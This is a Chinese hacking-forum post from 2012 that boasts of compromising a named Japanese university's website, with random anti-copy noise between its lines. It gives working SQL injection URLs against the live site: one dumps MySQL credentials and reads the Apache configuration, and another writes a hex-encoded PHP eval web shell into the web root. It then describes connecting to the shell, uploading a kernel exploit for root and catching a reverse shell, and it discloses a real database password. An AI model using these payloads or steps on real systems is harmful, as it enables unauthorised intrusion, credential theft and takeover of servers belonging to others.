找回密码
 立即注册
查看: 3417|回复: 0
打印 上一主题 下一主题

入侵日本同志社大学

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-21 13:48:02 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
入侵日本同志社大学技术分析
7 x3 h3 P, J" J5 H$ j# J% ^2 v1 \; J  b- j
& G# L3 \7 U( d. _) G$ jhttp://www.doshisha.ac.jp/chs/news/index.php?i=-13 V; D% L# i- j$ k, c* S
然后联合查询,猜字段,查版本,查密码,读取文件…….就是各种查啊,语句是:( I0 Q  T2 o8 I9 ?, B4 Q

; n/ b5 J( H2 q9 p2 ^http://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+1,@@datadir,3,load_file(‘/etc/httpd/conf/httpd.conf’),5,group_concat(DISTINCT+user,0x3a,password,0x3a,file_priv,0x3a,host),7,8+from+mysql.user9 x  v5 ]+ S2 Z

3 a/ V, D5 \: M0 c/ [8 h  O
% d; }  Y9 S, n) K0 A5 D
" t( V2 H2 w2 `% W' i//@@datadir为数据库文件路径 1 {- |8 t1 d4 W, M: d

$ z7 [: l# A$ O; e& _" V) g$ S
2 y; y$ L, Y; S: x. D' m) p2 C//load_file读取网站容器apache的配置文件 " {% c  }% u0 l% e! D! s

. |- t# K8 X7 ~4 s* N" E3 u1 v$ t; N' |) B7 r/ o2 J3 i! g  k
//group_concat读取MySQL管理员的名字、密码、是否允许读写文件和允许登录的远程计算机
$ S& ?' ?) u, C复制代码
; k9 s, H4 S4 ~- E: E3 l9 p0 |7 W" V9 o
虽然解得MySQL的root账户密码为mysql00,但是host为localhost,只允许本机登陆,所以用处不大。
4 [* e; R" q" k/ t6 L* I/ u7 {; N
" p' H* J* u% t7 d而且Apache的配置文件显示,服务器拒绝非该大学的ip访问/admin/和phpMyAdmin,所以即使爆出管理员账户密码也没用。; T2 A& Z9 k, Z$ u+ c
(大家对以上各种查和语句不太懂的可以参考以下文章:http://bbs.blackbap.org/thread-2243-1-1.html)7 Z- {2 u. w) r" [8 a9 s

- v/ r2 m1 P1 S/ k1 t# w" T7 p4 ~前面load_file是因为发现了各文件夹权限限制的死,不允许外校ip登陆,所以就猜了一下apache的配置文件绝对路径为默认,后来发现还真的是默认的路径。, U  @; W" j/ |- |2 c/ `
如果知道怎么猜apache配置文件的路径的请参考以下文章:http://bbs.blackbap.org/thread-2242-1-1.html
* @+ |& n' Z7 a7 l/ F
  q4 |) x. _- m既然已经知道了Apache的配置文件的内容,我们也就轻易知道了网站物理路径,路径为:/http/www/koho/
+ B' A; v8 B% A虽然/admin和phpMyAdmin的目录都限制了,但是想了想,我们只要有注入点就可以可以写入shell了,因为php的GPC为off,怎么判断为off我就不说了。
4 i) ?7 I+ Z9 @6 r" C直接写一句话:
+ a6 c6 p( o/ A& t
* O( P( U1 F7 l# O% O: v( z3 khttp://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+ 0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E,0x3c3f2f2a,3,4,5,6,7,0x2a2f3f3e+into+outfile+’/http/www/koho/english/engnews_img/aa.php’#! Y9 A( C# F( d) w* E
6 s5 B% l: e& C& a* H) d1 ]+ @8 P1 T
* P. H! Q, Y6 i* m7 t7 o
- q: k7 k5 A7 j, y9 p% C
//最后的#是为了闭合前面的语句
$ {/ |7 _5 R+ h- ~6 V+ d" _" a3 p
1 e+ N6 h. u" I" q& e" }5 i" A( c4 b* S! O- ^
/*其中的0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E
4 N: f+ T8 f: Y; V 0 k* T$ S. A6 a' e* m) M7 Z/ d

) H. K) k- v5 w6 `4 m7 C为一句话<?php @eval($_POST['cmd']);?>的HEX编码,不懂(HEX编码)的话Google一下就好*/ 6 r% D- _' a. L$ b, ^! G8 K' K

- t1 P- T8 s4 Y9 K' [% n6 B) v/ n. B8 \) m, }# v; Y
//如果直接select 一句话 into outfile ‘路径’会提示字段数不同,所以select 1,2,3,4…来执行注入语句
, o& ^; ^% t" F3 p 7 p! @$ T! K5 v: \" Z0 u) F( t

( |# P9 p5 B) w2 L# ^4 m- n0 A//后面的0x3c3f2f2a和0x2a2f3f3e分别为’<?php //’的和’?>’HEX因为select后面的3,4,5,6会被写入webshell中,可能会导致一句话执行错误 ) U, m5 F5 q3 b% ?# V; ^, O
//所以最后aa.php的内容就是”<?php @eval($_POST['cmd']);?><?php //3,4,5,6,7 ?>”
4 l! I) j8 q! A) d. U7 p; E7 d复制代码! W/ z6 x' D* W! P

5 g# r8 f7 N; @HEX其实就是十六进制编码,不知道这个编码的话,去搜一下好了,HEX编码转换在线本地各种工具各种有1 m0 d7 l- p8 N( k9 i1 a0 A
通过上述注入语句,我们就得到了一句话木马:5 Z$ X2 ?' w5 G9 X/ |6 ]  I
$ b9 Y" f* b. T
4 [  c& b- {6 A& l8 y
9 q! _9 U4 U; {% {+ U
' e* K2 b/ |8 N3 a; N( j* ~

( \6 Q8 |8 M) R/ Q/ S4 F1 `http://www.doshisha.ac.jp/english/engnews_img/aa.php ( A, l6 v: e' ~+ T
复制代码2 M& B' s; T! C

' j7 s  S8 S  V  f' b4 J& W用菜刀连接,密码是cmd,如图所示:
" _$ L$ ?, K0 z# W- m然后在命令提示行里看了一下,现在的权限是:/ Q) R$ ^5 b+ h7 v0 H, Q6 J

" j5 {1 b$ a8 b+ Z/ C7 O* z之后按照惯例我看了一下/tmp/文件夹,发现/TMP/权限居然被禁掉了,很少有服务器禁掉这个文件夹的。: t% U4 j& ^' x5 d) P
好在赋权给这个文件夹不需要root,直接执行赋权语句:
. C, N- j" q  a
  s; P+ @3 V, e% v7 _6 {" B ' [) w: n. a* f# ?6 ]
4 y$ c2 {" S: k2 a
( ~# \/ r8 g+ h3 d' |- `6 n( _

6 Y  N2 {4 U/ a7 R* Uchmod +x /tmp/
2 c  ^& \+ s: r( r/ A复制代码* l! U6 |* `# B8 m+ ^8 F
8 G+ \% R- r# y' }+ w
在这说一下,linux里面的文件夹跟文件一样,执行命令自然也可以按照像文件一样的执行2 G5 d2 A. @- g' q# \( I8 K
然后就查了一下内核版本:
9 p' B% N7 A) Z6 p: c  T  u/ n( ]9 J! S8 O

, C0 y( S/ b  H1 y/ K0 x. _7 t) A* w

: t3 }( t' H& h4 t  p7 |8 S
0 J8 Y" I- }. ]uname-a
" {3 }2 Y" _' X' ]0 n
5 l# @- n5 f. N3 `1 P& Y" D- G
" I& E9 ?# p: U& C1 T//其实lsb_release -a
; R$ I" J3 |- {) O5 T2 }# b5 K: q+ w复制代码- C% f4 X3 f: t7 b

% W0 O: Y9 J) s  [如图所示:
: W( O- a! }5 \( {6 |" k3 q5 `0 z: ^
! I  e' D! y/ o) o1 {# O6 M7 D3 G4 z内核版本:linux mainz1 2.6.28-194.e158 t( R: {4 c, v$ M. ]
系统描述为:Red Hat Enterprise Linux Server release 5.5 (Tikanga)
. U, ?5 [: W& [( a. s. t# g查完了系统版本之后就去找找相应的提权脚本!~然后传到/tmp/文件夹
0 j+ F1 M' ]8 A/ U9 Z7 ^  R+ o" z  p  `; T: Z4 v5 G6 V9 |! \
然后给予执行权限5 I1 R4 w; t; x, }( b
一般我都是传上去c源文件,然后”gcc -o /tmp/程序 /tmp/C源码”这样,如果gcc不能用,在其他机器编译好了直接传上去其实也可以,就像这样
$ Q6 L) N8 m  U1 u& T+ ?2 q  w$ a8 g$ V# D

6 `2 K6 ?4 _6 h' f. k# k  x/ B, I0 F7 z1 |' N' N& Z

2 ~1 E9 `) Y$ t$ B2 X. h# M8 w3 K) H+ d" J# M8 [4 o. A
chmod +x /tmp/2.6.18-194
* Z5 c4 W* d& S复制代码 然后直接执行!~$ s5 s0 m4 q  T6 Q! d' _

" M9 t  {% L4 X! Y总结:0 m" m1 {6 ~: S) I2 d; @/ D0 ^
这个注入点的基本思路就是,发现MySQL账户为root,GPC设置为off,搞到了物理路径就直接写Webshell了0 w# s4 G! i4 y8 r# G( `% R
提权部分原理就是,本地监听端口,将对方机器反弹回cmdshell来,然后把和内核版本对应的EXP传上去,编译运行,得到root
/ E4 {) l; D6 B9 D2 _
4 M% `! v4 u- e5 ?/ f" J5 J4 U
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表